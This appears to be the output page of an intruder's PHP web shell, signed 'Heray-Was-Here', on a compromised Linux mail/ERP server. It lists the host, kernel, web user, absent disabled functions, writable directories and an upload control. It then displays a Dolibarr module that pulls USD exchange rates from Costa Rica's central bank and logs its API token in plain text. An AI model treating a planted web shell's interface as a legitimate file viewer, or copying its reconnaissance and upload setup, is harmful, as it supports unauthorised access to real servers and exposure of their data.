Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/crindicadores/class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/crindicadores/class/crindicadores.class.php
<?php

	require_once DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php';
	require_once DOL_DOCUMENT_ROOT.'/core/lib/multicurrency.lib.php';

	class crindicadores extends CommonObject{
		var $expe='';
		var $dest='';
		var $message='';
		var $deferred='';
		var $priority='';
		var $class='';
		var $error;
        var $timeDrift = 0;
		
		function crindicadores($DB) {
		
		}
		public function getIndicadores()
		{
			global $conf,$db,$langs;
			$api_url ='https://gee.bccr.fi.cr/Indicadores/Suscripciones/WS/wsindicadoreseconomicos.asmx/ObtenerIndicadoresEconomicos';
			$Indicador=$conf->global->CRINDICADORES_INDICADOR;
			$SubNiveles='N';
			$date =date('d/m/Y');

			$postdata = http_build_query(
				array(
					'Indicador' => $Indicador,
					'FechaInicio' => $date,
					'FechaFinal' => $date,
					'Nombre' => $conf->global->CRINDICADORES_NAME,
					'SubNiveles' => $SubNiveles,
					'CorreoElectronico' => $conf->global->CRINDICADORES_EMAIL,
					'Token' => $conf->global->CRINDICADORES_APIKEY
				)
			);
			$opts = array('http' =>
				array(
					'method'  => 'POST',
					'header'  => 'Content-Type: application/x-www-form-urlencoded',
					'content' => $postdata
				)
			);
			dol_syslog("Postdata->".$postdata, LOG_WARNING);
			$context  = stream_context_create($opts);
			$data =json_encode(file_get_contents($api_url, false, $context));
			//var_dump($data);
			$pos = strpos($data,'<NUM_VALOR>');
			if ( $pos !== false ){
				$rateinput= substr($data,$pos+11,12);
				if (doubleval($rateinput) >0 ){
					$multicurrency_code ='USD';

					$currencyRate_static = new CurrencyRate($db);
					$currency_static = new MultiCurrency($db);
					$fk_currency = $currency_static->getIdFromCode($db, $multicurrency_code);
			
					$currencyRate_static->fk_multicurrency = $fk_currency;
					$currencyRate_static->entity = $conf->entity;
					$currencyRate_static->date_sync = dol_now();
					$currencyRate_static->rate = 1/$rateinput;
			
					$result = $currencyRate_static->create(intval($fk_currency));
					if ($result > 0) {
						setEventMessages($langs->trans('successRateCreate', $multicurrency_code), null);
						$result = 0;
					} else {
						dol_syslog("currencyRate:createRate", LOG_WARNING);
						setEventMessages($currencyRate_static->error, $currencyRate_static->errors, 'errors');
						$result = 1;
					}
				}else{
					dol_syslog("Valor no valido", LOG_WARNING);
					$result = 1;
				}
				
			}else{
				dol_syslog("No se recuperaron datos", LOG_WARNING);
				$result = 1;
			}

			return $result;
		}
	}
?>

Hry